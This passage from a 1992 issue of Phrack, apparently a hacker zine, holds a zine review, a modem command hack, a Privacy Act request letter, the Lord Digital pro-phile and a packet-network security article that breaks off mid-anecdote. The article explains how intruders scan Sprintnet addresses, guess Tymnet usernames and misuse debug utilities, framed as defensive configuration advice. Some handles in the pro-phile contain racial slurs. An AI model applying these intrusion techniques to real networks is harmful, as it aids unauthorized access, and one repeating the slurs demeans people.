studying how crimes in general are prosecuted and how people's morals are
judged. It is our mission to educate people so they begin to case more about
the world around them. Please join our efforts by subscribing, advertising your
business with us, and by spreading the word about what we're up to.
__________________________
Review by Knight Lightning:
I recently received a copy of the premier issue of Gray Areas, dated Fall 1992
and with a cover price of $4.50 (US). I was impressed with both the laser
quality of the printing, artwork, and graphics, as well as the topics and
content of the articles.
I would not characterize Gray Areas as a hacker magazine, but the subject did
come up in an interview with John Perry Barlow (one of the original founders of
the Electronic Frontier Foundation) where he discussed the EFF and its role in
defending civil liberties.
No, instead I think it is safe to say that Gray Areas pays a lot of attention
to the Grateful Dead. Indeed the cover story is titled "Grateful Dead
Unauthorized Videos." Additionally, there are several other articles
(including the John Barlow interview) that discuss varying aspects about the
Dead's history, their politics, and of course their music. An advertisement
for the next issue of Gray Areas reveals that even more articles relating to
the Grateful Dead are on the way; so if you are a "Dead Head" you will probably
fall in love with this magazine!
However, the article that I appreciated most was "Zine Scene," a review of 163
alternative newsletters that included such familiar names as 2600, Hack-Tic,
Full Disclosure, and TAP; and others that I intend to take a look at like Iron
Feather's Journal and bOING bOING. The zines reviewed here covered every topic
imaginable and I thought it was a great buffet for the mind to have such handy
directory (especially since Factsheet Five went defunct about a year ago).
Other interesting articles had to do with video, audio, and software piracy and
reviews of music and software. I also enjoyed the great artwork found
throughout the magazine in the form of visual aids, comics, and advertisements.
If you are a fan of alternative music or the Grateful Dead, you'll be very
sorry if you don't subscribe immediately. If you are interested in alternative
publications with more interesting points of view than Time or Newsweek then
you owe it to yourself to at least purchase a copy to check it out.
- - - - - - - - -
All letters sent to Gray Areas are presumed to be for publication unless you
specifically request that they omit your name or refrain from publishing your
comments. If you are writing about something which could incriminate yourself,
they will protect your identity as a matter of policy.
******************************************************************************
"Turning your USR Sportster w/ 4.1 roms
into a 16.8K HST Dual Standard"
by
The Sausage with The Mallet
If you have a USRobotics Sportster FAX modem, Ver 4.1, you can issue
the following commands to it to turn it into an HST 16.8K dual standard.
In effect, you add HST 16.8K to its V32.bis 14.4k capability.
ats11=40v1L3x4&h1&r2&b1e1b1&m4&a3&k3
atgw03c6,22gw05cd,2f
ats14=1s24=150s26=1s32=8s34=0x7&w
A very important item is the b1, which tells the modem to use
the 16.8K HST protocol. If you do not set b1, when the Sportster
connects with another V32 modem it will go through the CCITT v.32
connect tones and you will not get a 16.8K connect.
If you do get an HST connect, you will not hear the "normal"
train phase--instead you will hear the HST negotiation which
sounds like a 2400 baud carrier.
Finally, if you change the "cd" in the second line to a "cb", your
modem will think it is a V.32 Courier instead of an HST 16.8K.
Look for other pfine pfiles from Rancid Bacon Productions in conjunction
with USDA Grade A Hackers (UGAH.) Accept no substitutes.
*******************************************************************************
Request to Post Office on Selling of Personal Information
In May 1992, the US Postal Service testified before the US House of
Representatives' Government Operations Subcommittee that National Change of
Address (NCOA) information filled out by each postal patron who moves and
files that move with the Post Office to have their mail forwarded is sold to
direct marketing firms without the person's consent and without informing
them of the disclosure. These records are then used to target people who
have recently moved and by private detective agencies to trace people, among
other uses. There is no way, except by not filling out the NCOA form, to
prevent this disclosure.
This letter is to request information on why your personal information
was disclosed and what uses are being made of it. Patrons who send in this
letter are encouraged to also forward it and any replies to their
Congressional Representative and Senators.
Eligible requestors: Anyone who has filed a change of address notice with
the Postal Service within the last five years.
Records Officer
US Postal Service
Washington, DC 20260 PRIVACY ACT REQUEST
Dear Sir/Madam:
This is a request under the Privacy Act of 1974 (5 USC 552a). The Act
requires the Postal Service, as a government agency, to maintain an
accounting of the date, nature, and purpose of each disclosure of
information about individuals. I request a copy of the accounting of all
disclosures made of address change and mail forwarding information that I provided
to the Postal Service. This information is maintained in USPS System of
Records 010.010.
On or about (date), I filed a change of address notice requesting that my
mail be forwarded from (old address) to (new address). The name that I used
on the change of address form was (name).
This request includes the accounting of all disclosures made by the Postal
Service, its contractors, and its licensees.
I am making this request because I object to the Postal Service's policy of
disclosing this information without giving individuals an option to prevent
release of this information. I want to learn how my information has been
disclosed and what uses have been made of it. Please let the Postmaster
General know that postal patrons want to have a choice in how change of
address information is used.
If there is a fee in excess of $5 for this information, please notify me in
advance. Thank you for consideration of this request.
Sincerely,
CC: Your Congressional Representative
US House of Representatives
Washington, DC 20510
Your Senators
US Senate
Washington, DC 20515
-------------------------------------------------------------------------------
=Phrack Magazine=
Volume Four, Issue Forty Two, Phile 3 of 14
==Phrack Pro-Phile==
_______________________________________________________________________________
Phrack Pro-Phile was created to provide info to you, the users, about old
or highly important/controversial people. This month, we introduce you
to an individual who has survived the underground for far too long,
the creator of Phantom Access and one of the co-sysops of Mindvox...
Lord Digital
~~~~~~~~~~~~
_______________________________________________________________________________
Personal
~~~~~~~~
Handle: Lord Digital (for like.... fuck I'm old, 13 years now)
Call him: Patrick K. Kroupa
Past handles: M000hahahahahahahah! You're kidding right?
Handle origin: It was given to me by this ancient wise man drinking
cheap Absolut by the side of the road...
Date of Birth: 01/20/68
Age at current date: 24
Height: 6'2"
Weight: 185
Eye color: Green
Hair Color: Blonde/brunette/black (subject to change)
Computer: Apple ][+, Amiga 1000, Mac Plus (All in storage)
Apple //e, Amiga 500, NeXT, Various Suns (Not in storage)
Sysop/Co-Sysop of: MindVox ELItE!@#!!!@#!
Net address: digital@phantom.com
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
If you look beneath the shiny surface of most things, and gaze way-way-way
deep down into the murky black festering heart of the human evolutionary
process, you are ultimately confronted with the revelation that has stood, nay,
LEAPT UP before the ancients since before the days of Atlantis: Life is a lot
like NeW WaReZ.
Anybody who tried to tell you something different, is obviously selling
you something.
All things in this universe -- and many others -- can be attributed to New
WareZ. The ebb and flow of WareZ is what keeps the very COSMOS from bursting
apart at the seams. During periods of time when the flow of WareZ slows to a
trickle, times are tough, there is war, pestilence, death, disease, and many
rAg PhIleZ. d()oDZ who were happily playing Ultima XXII Quest For Cash, are
soon busily hurling insults at each other and dialing the Secret Service. Life
is grim, there is a bleak sense of desolation and emptiness . . . for when the
WareZ slow down . . . there is little left to live for and you begin to enter
withdrawal. An ugly process that, thus far, has only been combatted
successfully by Wally Hills NeW WhErEZ Treatment center, where they slowly ween
you off the addiction of WareZ and introduce you to the REAL WORLD where you
can do things like smoke crack and play in a band.
On the flipside, when there is a good steady flow of WaReZ, the universe
hums to itself in happiness and all wrongs are righted, perspectives
re-adjusted, and peace, love, and happiness spread throughout the land as the
COSMOS re-aligns itself and perfection sweeps the world. This is a heady time,
but one that is sure to be brief, for before you know it some evil glimmer of
BADNESS will rise up and somebody will DOUBLE-RELEASE someone else, or a Ware
will CRASH when it tries to load . . . and then it's just all over.
A long time ago in a galaxy far, far away . . . I was a founding member of
the Knights Of MysterIous keYboArdZ and the Ko0l/Ra{> alliance. At present I
am President/Ce0 and Chairman of the b0red at Phantom Access
Technologies/Coleco ADAM design Studios, Inc.
At the moment our group is working on a multi-tasking, multi-user,
CyberSpace environment where the participants can take part in a shared reality
that is based upon a cross-relational structure comprised of lots of 0's and
1's all strung together in big twisty chains and kept track of by an
Objective-COBOL X/Motif GUI sitting on an SQL dialed into the POWER COMPUTER in
Utah, at infinite baud (not to be confused with bps).
In the near future I .plan to move to Pigs Knuckle Idaho and cross-breed
weasels with ferrets, while devoting the rest of my life to watching daytime
TV.
It's just that type of thing.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Reality Break
~~~~~~~~~~~~~
It is very difficult, bordering on impossible, for me to remain serious
for longer than about 45 seconds, when discussing the "underground" and what it
was all about.
I rarely bother to mediate or water-down most of my opinions, and there
are a lotta places out there in the real world, where anyone who cares can
readily access whatever I have to say. There isn't a great deal left for me to
convey to anybody regarding my perceptions of the hack/phreak world's history
and what it has meant, and shall mean, in the cosmic scheme of things.
The first time I came into direct contact with computers was during the
mid-late 70's. I was around 6 or 7 and my father worked at NCAR during this
period of time, which is a futuristic looking series of buildings in Boulder
Colorado. This one time I came in, there were all these weird cars driving
around in the parking lot, and since there were frequently a lotta strange
things moving around there, I never understood until much later that Woody
Allen was filming SLEEPER when this was going on. On the same day, I was shown
some of the computer rooms, which had just taken shipment on one of the first
Crays to go out the door. This left an impression. It was neato . . .
One thing led to another. I played around with various things, mainly the
really old Commodore PET systems and a slew of heavy metal junk from IBM, until
I got an Apple ][+ in 1978. I hung out with a group of people who were also
starting to get into computers, most of them comprising the main attendees of
the soon-to-be-defunct TAP meetings in NYC, a pretty eclectic collection of
dudes who have long since gone their separate ways to meet with whatever
destinies life had in store for them. Around 1980 there was an Apple Fest that
we went to, and found even more people with Apples and, from this, formed the
Apple Mafia, which was, in our minds, really cool sounding and actually became
the first WAreZ gRoUP to exist for the Apple ][.
Time passed, I picked up more hardware, went on the quest to assemble the
perfect Apple-Cat system -- consisting of the Cat, 212 card, BSR, firmware,
tone decoder chip, and all the m0dZ NOVATION eventually made to the boardZ --
and ultimately ended up with 3 of 'em, one of which still works (like wow).
This led to the first generation of Phantom Access programs which started to
seep into the moDeM WeRlD around 1983, with the final revisions being let loose
in 1987 or 1988, under the auspices of Dead Lord. By this time I had long
since stopped working on them and had relatively little to do with their forms
of release.
Over the years I've been in a seemingly-endless succession of groups and
gatherings under nearly 50 different pseudonyms which were frequently invented
and dropped, all around that one specific timeslice and reference-point. There
were only two that I was ever "serious" about, which is to say I entered into
them honestly believing the ideals and reasons for the group's inception, to be
valid and worth upholding and being a part of. In other words I was in my
mid-teens and my attitude wasn't one of "Yeah yeah, take 10; a buncha dudes are
gonna screw around, some of it will be fun, some of it will be silly, and a lot
of it will be bitchy and cranky, but hey, I'm only here to amuse myself, so
what the fuck . . ." The two "serious" affiliations were Apple Mafia and the
Knights of Shadow. KOS ceased to exist in mid-1984 and I dropped out of the AM
around 1985, although to my knowledge it kept going until '86 or '87 when the
last surviving members found better things to do with their time. In 1987 I
was also "OfFphICiALlLY" inducted into the Fraternal Order of the Legion of
Doom, which was just gosh w0wz0. Actually, it's much more fun in retrospect,
since most of us are pretty good friends at this point in time, which seemed an
unlikely event back in the early 80's <giGgLE!!@#>
I ceased to be "active" sometime around 1985, having gained legal access
to almost anything I could possibly want to play with, as well as having made
friends with people working for NYNEX who de-mystified many things for me. The
ultimate conclusion to all of this was that having THE POWER is cool -- and
using it to annoy people was absolutely hilarious -- but only led to two
possible destinations.
You use it all as a learning experience and "grow up" realizing that
you're playing cops and robbers, and many of the things you have spent years
doing are now illegal and liable to get you into a lot of trouble. You can't
go back in time (at least not yet).
You could keep doing stupid things and end up in a legal dilemma over
something that isn't very important. Because . . . it really isn't "THE
POWER," it's just a very limited form of "it" embodied by a phone system and
some computers. And when you compare that to a piece of art, or a collection
of music, or a new series of programs that someone has created, you begin to
realize that all you're doing is fucking with things that other people made,
and you're wasting your time abusing . . .
To cut short my rant, I have no moral judgements to pass upon anyone or
anything, because whatever it is that people do, it's some sort of learning
process leading towards their destination (whether they realize it or not).
The computer underground is just not a place where you can remain "active"
beyond a certain period of time that serves as a sort of "rite of passage"
towards that something else. To hang around indefinitely and remain "active"
is to become a criminal.
Almost everything I've done has taken place with a handful of friends who
played various roles in events that transpired -- primary among them Dead Lord
(Bruce Fancher), one of my closest friends for the better part of a decade, as
well as The Unspeakable One whose name cannot be mentioned for to do so causes
rifts within space/time, and a buncha dudes from NYC/NJ who for the most part
want to blip their personas off the face of Cyberspace and get on with their
lives without the specter of LaW EnForCEmEnT hanging over them for doing silly
things as teenagers.
In 1986 I ceased calling anything and didn't access a computer that was
hooked into a modem until late 1990. As of late 1992, I have been "retired"
for a little over 7 years.
Patrick's Favorite Things
~~~~~~~~~~~~~~~~~~~~~~~~~
Women: Delia! Gorgeous, Intelligent, Wonderful, & able to deal with me.
Men: Bwooooce.
Cars: 928s4, Hyundai, Edsel.
Foods: Italian, red meat, SuPeR Hi PER Pr0tE!n, anything with SPAM.
Music: Any band with the word "LORD" in it (Lords of the New Church,
House of Lords, Lords of Acid, Lords of Chaos, Traci Lords).
Authors: Michael Moorcock, Sun Tzu, Machiavelli, Hans Horbiger, Dr. Seuss.
Books: Play of Consciousness, The Book of PAT.
Performers: Bill the Cat, Sting, Perry Farrell, GuNz N RoSeZ, plus anybody
who has sold out to the mahnnnnnn fo' $$$$$$$ in a biiiiiig way.
Most Memorable Experiences
~~~~~~~~~~~~~~~~~~~~~~~~~~
Most memorable things are unmentionable and destined to stay that way for
a while. Those who played the games know the stories; those who didn't
eventually will -- but like, who cares. Everybody should live their own
stories, life's an interesting game . . . go play.
Some People to Mention
~~~~~~~~~~~~~~~~~~~~~~
Dead Lord - The one who is not and can never be, yet exists. Solely an
infinite layering of the possibilities inherent within
personal transmigration and biotechnology? Or alive, with
flesh, blood, bone and an adornment of k0dEz & warEZ? You
must not be blinded by sight, nor fooled by what things
appear to be when they are not, for what is a man when he
has not the latest, nor possesses the abilities to acquire
same? This is a question perhaps best left to the wise men
who roam the meadows of the ozone, forever catching the
edge and surfing the waves cresting upon the seas of
thought and what is, was, and shall always be.
The - I know who you are, so tell me who I am, and let's just
Unspeakable get on with it okay? Because otherwise, TV is likely to
One drop the entire facility dead. Anyone of normal caliber
can see that to be entirely obvious to thee of the id'ness
of pole-cats watching Star Wars. 8+ KlUb ElYtE.
Terminus - A good friend over many years who, as most people know, has
recently gone through a lot. The future looks bright, and
I look forward to looking back on all this with you in
another ten years. [Look, look, looking] (haga!)
Magnetic Surfer - Neato guy who knew me way-back-when, and used to give me
gNu Apple wArEz on cassette tape which he had downloaded at
the lightning speed of 300 baud. Also provided a means to
meeting many of my friends, via Sherwood Forest, when it
first existed and hosted Inner Circle and later KOS.
The Phantom - See above, also gave me a full set of TAP copies in 1983,
which I never returned to him.
The Plague - A cool guy, close friend before his fatal accident when
the truck went off the road near Poker Flats, just 5 miles
north of Pig's Knuckle, ID. Tragic, hope he's happy in
his new home, far, far underground, running the world's
first afterlife/subterranean BBS.
ApPul HeyD! \ The elYtE peARz of Scepter/InterCHAT who went on to form
SuperNigger > - DPAK, an entity SO ELITE that it required FOUR letters for
Sharp Rem0b / its acronym & brought the world Lex Luthor on HBO!
SuperNigger - Because he is 2 elyTe to be encompassed in merely one
line and requires at least two.
Lord_foul - Ahhhh do0d.... Well we all have our roles 2 play. Catch
ya in tha outback. (cha mod pla foul sl=999 mi=99,mh=99)
Ninja NYC - One of the few people I have ever met who seems to have
mastered the art of being happy wherever he is, doing
whatever he happens to be doing. An exceptionally nice
human being.
Elven Wizard \ A collection of compatriots, cohorts, and all around dudEz
The Infiltrator\ with whom I had an inordinate amount of fun, first ro0l!ng
The Gunslinger > - the WhEReZ world, then changing our handles (well except
The Bishop / for Jeff) & dismantling eliteness and its tarnished allure,
The Gonif / along with its cadre of false prophets (namely ourselves
under half a dozen other handles).
Andrew \ "I doan' wannnnnnnnnt any money, I want to be left alone,
Chase > - tell them to go 'way." May Sutekh look upon our worldly
Asif / endeavors and bless us all, everyone. !nse<t01dZ ro()l!!@
Paul Muad'Dib - A lotta fun, although he never did have any new wares
(unless you count source code). In any case, I guess it's
not too relative any more.
Tuc - I think it's a requirement to mention Scott; far be it from
me to break with tradition. Hi Tuc! Thanks for the ride!
Captain Avatar - He had 'em Ahllll! ALL of them... MORE THAN all of 'em....
Napoleon Bonaparte- Nappy ran Securityland. I called it, it was cool. It made
me smile. I guess it made the FBI smile too.
Mr. Xerox - Mike was usually witty, sarcastic, annoying, egotistical,
obnoxious, and almost always late. We got along great
and I really miss the guy sometimes. Hullo Mike, wherever
you may roam.
Taran King - BesideZ DeYd L0rD & Sn, the El1teZt Pers0[\] eYe EveR meT!
StaY sP!fpHY [>o()d!
Phantom Phreaker - Here's to shifting focus and finding something far more
interesting to play with than phones & computers 8-). It's
an amazing universe, huh . . .
Lex Luthor - After a ten year period during which we typed to each other
once in a while and seemed situated at antipodean sides of
the m0dUm Yo0n!veRsE, I finally met with Lex in the very
near past. It's shocking to find that he's actually one of
the most gracious, funny, and pleasant guys I've ever had
an opportunity to meet. Best wishes in whatever you may
end up doing!
Erik Bloodaxe - A keg of Sandoz, a Vat of pig's blood, T&C and thee.
Sigmund!@31!@!!! - As the UFOs said, they know who you are, they know where
you are. Seriously, hey, it was entertaining. Good luck
man.
unReAl PeOpUL 2 MenShun
~~~~~~~~~~~~~~~~~~~~~~~
StJude - For everything. It's good to know you . . . love, light, and a
lotta deep-fried giri with ciphers thrown in.
Siva - Look, polygons or voxels, Gibsonian or Post-modern, by Risc or by
Cisc with Objective C++ running Smalltalk under Windows NT over the
underpass and around the bend; it's gonna happen, and we're gonna be
there having a party. Smile, as I think you've mentioned on more
than one occasion; it's an interesting time to be alive 8-).
Bruce - Quite possibly the coolest grown-up I have ever met 8-). Which is
Sterling saying a lot. The world would be a much better place if Bruce
could be cloned and then placed inside a tornado, hooked into a
net, fitted with an adamantium exoskeleton, and then dropped into
the de-criminalized zone with a BigMac and a holographic tape
recorder.
Jim - Hey so, are you doing more things at once or am I? I bet I can
Thomas watch TV, listen to music, have three phone conversations, and
write an article with 25% greater coherence than Chuck has while
eating and watching TV. On the other hand, writing two books,
teaching, reading, running CUD, having a life, and still finding
time to hang out are at least level 15 -- haven't hit that yet,
but I'm working on it!
Andy - Hey man. I enjoy what you're doing, keep the faith, ignore the
Hawks assholes, take inspiration from the inspired, and retain belief
in your dreams. Oh okay, gotta go, time to sell out, ignore what I
just said 8-).
3Jane - Models/actresses/sex cadets united for a better tomorrow, under
Unix with named_pipes and justice for some of us.
Memorable Phreak/Hack BBSes
~~~~~~~~~~~~~~~~~~~~~~~~~~~
8BBS - Long ago, I didn't understand it, or what I was typing, but it was fun.
MOM - Long ago, although by now I did understand it and had slightly less fun.
Pirate's Harbor - Before Norman figured out he could make a killing on TIMECOR.
Pirate's Chest - 6 line 80 meg board circa 1983. Totally Cool.
Adventurer's Tavern - Last bastion of tremendous on-line fun & anarchy. RIP.
Securityland - Nappy's Board.
Pirate's Phunhouse -> Cat's Cavern - The Tempest's system(s).
Dark Side of the Moon - Through many long and strange phases. Still running.
RACS III - w()wZ0 blargel blumpfk0l SwillY sw()nk!@!#!@!!!!!
OSUNY (3 cycles) - Some more fun than others.
Sherwood Forest I, II, III - Liked all three, although 1 was the coolest.
Plovernet - Two phases. Both great.
The (urse - WarEZ do()d & eLIteNEsS Galore!@#!@#!@#!@#
LOD - The Start in 1984, and intermittently thereafter.
COPS - Cool Florida board.
Shadowland - Cool Colorado board.
SpecELITE - So overwhelmingly awful, that it was wonderfully fun.
WOPR - Lotta fun for a while, then he threw everyone off & went 1200only wareZ.
Pirate-80 - It was very effervescent with a touch of jello.
Everything Sir Knight ever ran - Too many names (Tele-Apa, HackNet, NewsNet...)
World of Cryton - WOC! JAMES! ELITENESS!
The Safehouse - Apple Bandit's. Hey, I want my Diskfer ][ dude!
Farmers of Doom - Blo0p.
Pirates of Puget Sound - Nice softwareZ. Lotta fun.
A few things Lord Digital would like to say:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
BELIEVE EVERYTHING THAT YOU HEAR. KNOW EVERYTHING YOU SEE. UNDERSTAND
EVERYTHING YOU DO NOT COMPREHEND. BE AT ONE WITH THE STILLNESS OF THE
REVOLVING HAMSTER WHEEL AND FLOSS BETWEEN MEALS.
As far as the future of the hack/phreak world and telecommunications in general
is concerned, the PhrAck World is absolutely spiffy and I believe that ISDN
will change EVERYTHING and make it rounder, taller, bigger, more stable, and
also give later generations something to look back upon and sneer at with
contempt.
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 4 of 14
Prelude to a Kiss
- Lessons Unlearned Are Doomed To Bring Misery Ad-Infinitum -
The following is an article I wrote for a mainstream computer security
periodical called ISPNews. At the time, I had been discussing the idea
of a bi-monthly column with the editor at that time, Len Spitz. (Now the
editor is Michael Alexander, ex-of Computerworld)
The following article, although very, very tame by my standards, and
admittedly lacking in enough hardcore information to help security
professionals to apply a quick fix to their many problems, caused quite
a stir among the folks at ISPNews.
Since this article was from me, a self-proclaimed hacker, it
underwent an extraordinary amount of scrutiny. Rather than be
accepted or denied by the editor, my article got the dubious honor of
being sent before an editorial advisory board. I checked every back
issue of ISPNews and could find no mention of such an entity until the
November/December 1991 issue, the issue immediately following an length
interview with none other than myself.
When I questioned Len Spitz about this rather odd fact, he maintained
that this committee had indeed existed, but stammered his way through my
question to name any other article that they had convened to judge in
the past, and to explain the duties of such a group. He could not give
me any answers.
The group itself was obviously geared to be a type of kangaroo-court.
It consisted of:
William J. Cook -- The man who less than two years prior had ordered my
privacy and civil rights violated by the Secret
Service solely on the basis of two bulletin board
posts and my association with members of the Legion
of Doom and the Phrack Magazine staff.
William H. Murray -- A senior consultant with Deloitte & Touche who had
two weeks prior stood up before my presentation to
the MIS Training Institute's 11th Annual Conference
and said loudly "I can't take this any more, I'm leaving,"
to the astounded audience. The man who went on to
state in his own column in ISPNews, "Can we lie
down with dogs and get up without fleas?" and "Ask
yourself if you wish to work in a profession
populated by rogues. Ask yourself if you want your
reputation mixed with theirs."
Winn Schwartau -- A security consultant with a broad view and an open
mind, undoubtedly resulting from his background in the
music industry, as opposed to the bean-counting world
of MIS.
David J. Stang -- Director of research, NCSA. Noted virus specialist.
This was the group. Here is what they said about my article:
Bill Cook -- "It's very well-written and informative, but shouldn't be
published for legal reasons." (What those reasons might have been were
not stated, nor did Mr. Cook return my call to his office.)
Bill Murray -- Was not even given the file to read, as his response was
deemed to predictable.
Winn Schwartau -- "Publish it. This is valuable information."
David Stang -- Was not given the file because, according to Len Spitz
"David is just a virus expert, and this isn't in his arena, so we gave
it to Ray Kaplan."
Ray Kaplan -- Did not want to comment on it because he said, "It's
not my expertise, so I gave it to a friend." I believe Ray did not
want to get involved with anything having to do with hackers after
the reactionary attitudes of the DECUS attendees towards his defense
of Kevin Mitnik that nearly left him in bankruptcy. I cannot blame
him at all. (Hell, I like the guy...he's certainly more brazen with
attitude these days, I mean, he went to HoHoCon for God's-sake!)
Ray's Friend -- "This is of absolutely no use to the information
security professional, but of great use to the hacker community."
I still do not know who Ray's "friend" was. I hope his
Alzeheimer's has subsided since this comment.
Needless to say, the article went unpublished.
Shortly thereafter I received a letter from Robert Fox, an assistant
vice-president at Sprint. Somehow my little article had snaked its
way over to Kansas City. It's amazing how one faxed copy of an article
could have reached so many people in such a short period of time.
Mr. Fox had the following to say:
------------------------------------------------------------------------
United Telecom/US Sprint
9221 Ward Parkway
Kansas City, Missouri 64114
816-822-6262
Robert F. Fox January 13, 1992
Assistant Vice President
Corporate Security
VIA AIRBORNE EXPRESS
Mr. Chris Goggans
COMSEC
Suite 1470
7322 Southwest Freeway
Houston, TX 77074
Re: Your Article "Packet-switched Networks
Security Begins With Configuration"
Dear Mr. Goggans:
A copy of the referenced unpublished article, which is
enclosed with this letter, has come to our attention. After
review, we believe the article is inaccurate and libelous. If
published the contents of the article could cause damage to Sprint
customers, Sprint and our reputation, and we request that you not
publish or otherwise disseminate it.
In addition, we believe some of the information contained in
the article has been obtained through violation of the property
rights of Sprint and/or our customers and we demand that you cease
any efforts or attempts to violate or otherwise compromise our
property whether or not for you personal financial gain.
Sincerely,
Robert F. Fox
Enclosure
------------------------------------------------------------------------
Regardless of how Mr. Fox came into possession of this article, i have to
question his letter based on his comments. First he states that
the information is almost criminally incorrect and could cause harm to
Sprint's reputation. Then he states that information in the article has
come to be known through the violation of the security of Sprintnet and/or
clients of Sprintnet. In effect, I am both a thief and a liar according
to Mr. Fox. Well, if I were a thief the information could not possibly
be inaccurate if it were obtained from Sprintnet or its clients. If I
was a liar, why would they think the information came from themselves
and/or their clients? Mr. Fox's thinly veiled threat caused me great
amusement.
I then decided no mainstream publication would touch this article. I
don't know why everyone is so scared of the truth. Perhaps if the truth
were known people would have to work, and perhaps if the truth were
known some people would be out of work. None of this is of concern to
me anymore. I am here to speak the truth and to provide uncensored
information gathered from a variety of sources to provide readers of
this magazine the facts they need to quench their thirst for knowledge.
This article is included as a prelude to a series of articles all based
on packet switched networks as related to information merely alluded to
in my harmless little article. To our readers, "enjoy." To the cowering
so-called security experts, "kiss my ass."
------------------------------------------------------------------------
Packet-switched Networks
Security Begins with Configuration
For many companies the use of packet-switched networks has
allowed for increased interconnectivity of systems and easy
remote access. Connection to a major public packet-switched
network brings increased access points with local dialups in
many cities around the nation as well as access
points from foreign countries.
With the many obvious benefits provided by this service,
improper configuration of either the host's connection to the
network or of the network itself can lead to extreme security
problems.
The very connection to a public packet-switched network
immediately increases the exposure of that particular system.
America's two major commercial networks, BT-Tymnet and
Sprintnet, are probably the most popular US targets for hackers
around the world. The wealth of systems available on
these two networks has provided hackers with a seemly endless
supply of sites on which to sharpen their skills. The ease of use
inherent in both networks makes them popular for legitimate
users as well as illegitimate users.
The Telenet software utilized in the Sprintnet network allows
users to enter a network user address (NUA) in the standard
format as outlined in the X.121 numbering standard:
DDDDAAAHHHHHPP
Where D = the four digit data network identifier code (DNIC)
A = the three digit area code corresponding to the host
H = the host address
P = the port or (sub) address
On domestic calls the DNIC for Sprintnet (3110) is stored in
all Sprintnet equipment and is used as the default. By
merely picking an area code, most often corresponding to the standard
area codes of the North American Numbering Plan, and an
additional one to five digits a would-be intruder can
connect to any number of systems while looking for targets.
In the past many software packages have been written to
automate this process, and large scans of the network have
been published in a variety of underground media.
The Tymnet II software utilized in BT's Tymnet
prompts the user for a mnemonic which corresponds to a host
or number of hosts. The mnemonic, or username, is referenced
to a fixed host address in the network's Master User
Directory (MUD). This username may allow the caller to
connect to a variety of sites, as opposed to merely one, by
entering additional information in separate fields after the username.
It may also correspond to a network gateway thereby allowing
the user to enter a number in the X.121 format and connect to that
specific site.
This particular network, with its primary use of words as
opposed to numbers, has been compromised by intruders who
guess common words or names in their attempts to connect to
remote sites.
Each network has its own particular set of problems but
solutions to these problems are both simple and quick in
implementation.
SPRINTNET
The first deterrence in securing a host on this
network is to restrict access to the site. This can be
accomplished in a number of ways. The most obvious is to
have the site refuse collect calls. All calls on Sprintnet
are reverse-billed, unless the site has specifically asked
that they not be billed for incoming calls. This makes the
site accessible only through the use of a Network User
Identifier (NUI).
Another method of restricting access from intruders is to
place the host in a closed user group (CUG). By electing to
have the host in a CUG, the administrator can allow only
certain NUIs to connect, and can also restrict the actual
addresses from which access is allowed. For example: A site
is placed in a CUG that will allow only calls from the
company's remote branch in Dallas to access the host and only
with the NUI created specifically for that branch. All
attempts to access the site from an address outside the 214
area will result in an error message indicating an invalid
source address. All attempts to connect with an invalid NUI
will result in an error indicating an invalid ID. This
information is maintained in the networks main TAMS (TP
Access Management System) database, and is not subject to
manipulation under normal circumstances.
Many sites on the Sprintnet network have specific
subaddresses connecting to a debug port. This is usually at
subaddress 99. All connections to debug ports should be
restricted. Allowing users access to this port will allow
them the ability to load and display memory registers of the
Sprintnet equipment connected to the port, and even reset
as well as enable or disable the host. Most debug ports are
equipped with preset passwords from the vendor, but should be
changed. These ports should also restrict connection from
all addresses except those specified by the company.
An additional measure that may foil intruders relying on
software programs to find all addresses in a given area code
is to request that the host be given an address above 10000.
The time involved in scanning the network is extensive and
most casual intruders will not look past the 10000 range. In
fact, many will not venture past 2000.
BT-TYMNET
Any company having a host on the Tymnet network should choose
a username that is not easily associated with the company or
one that is not a common word or name. If an intruder is aware that
XYZ Inc. has a UNIX based system on TYMNET he or she would
begin attempts to find this system with the obvious
usernames: XYZ, XYZINC, XYZNET, XYZ1, XYZUNIX, UNIX, etc.
BT-Tymnet allows for these usernames to have additional
password security as well. All hosts should have this option
enabled, and passwords should be changed frequently.
The password should always be a minimum of six
digits, should include letters, numbers and at least one symbol
character, and should not be associated in any way with the
corresponding username.
Many clients of BT-Tymnet have purchased the Tymnet II
software and have individual sub-networks that are linked to
the public network through gateways. Each subnet is
personally configured and maintained through the use of a
package of utilities provided by Tymnet. These utilities
each perform a specific task and are highly important to the
smooth operation of the network. These utilities may be
accessed either directly from the host-end or remotely
through the network by entering a corresponding username.
Some of these utilities are:
XRAY : a monitoring utility
DDT : a debugging utility
NETVAL : a database of username to host correspondence
PROBE : a monitoring utility
TMCS : a monitoring utility
Under NO CIRCUMSTANCES should these utilities be left
without a password on the company's subnet. These utilities should
also never be named similarly to their given name. Should an
intruder gain access to any of these utilities the integrity
of your network will be at risk.
For example:
Allowing an outsider access to the XRAY utility, would give
he or she the ability to monitor both incoming and outgoing
data from the host using the "TA" command (display trace data
table in ASCII). Use of certain XRAY commands are restricted
by a security function that allows only certain usernames to
execute commands on the basis of their existence in a
"Goodguy" list, which can be displayed by any XRAY user.
Should a user be of the highest privilege, (2), he or she can
add or delete from the "Goodguy" list, reset connections, and
display trace data on channels other than the default
channel.
Allowing a user access to DDT can result in complete
disruption of the network. DDT allows the user the ability
to write directly to the network controller "node code" and
alter its configuration.
Allowing a user access to NETVAL will allow the user to
display all usernames active on the network and the
corresponding host addresses.
OTHER PROBLEMS
EXAMPLE ONE
On many networks users have the ability to connect to the
packet assembler/disassembler (PAD) of the network dial-ups.
This has led to significant problems in the past.
In the mid-1980's two American hackers were exploring the
German packet network DATEX-P. One connected to a host in
Berlin and was immediately disconnected by the remote site.
Before the hacker could react, the German host connected to
the NUA corresponding to his Sprintnet PAD and sent him a
login prompt. This alarmed the hacker greatly, as he assumed
that the proprietors of the German host had somehow noticed
his attempt to access their system. He contacted his partner
and told him of the occurrence. The two concluded that since
the NUA of the origination point is sent in the packet-header,
the remote site must have been programed to recognize the NUA and
then return the call. The fact that it had returned a call to a
public PAD was intriguing to the pair, so they decided to
attempt to recreate the event by calling each other. Both
individuals connected to the network and one entered the NUA
corresponding to the others PAD. A connection resulted and
the two were able to interact with one another. They then
decided that they would periodically meet in this fashion and
discuss their findings from Germany. At the time of the next
meeting, the connection did not occur as planned. One hacker
quickly received a telephone call from the second who
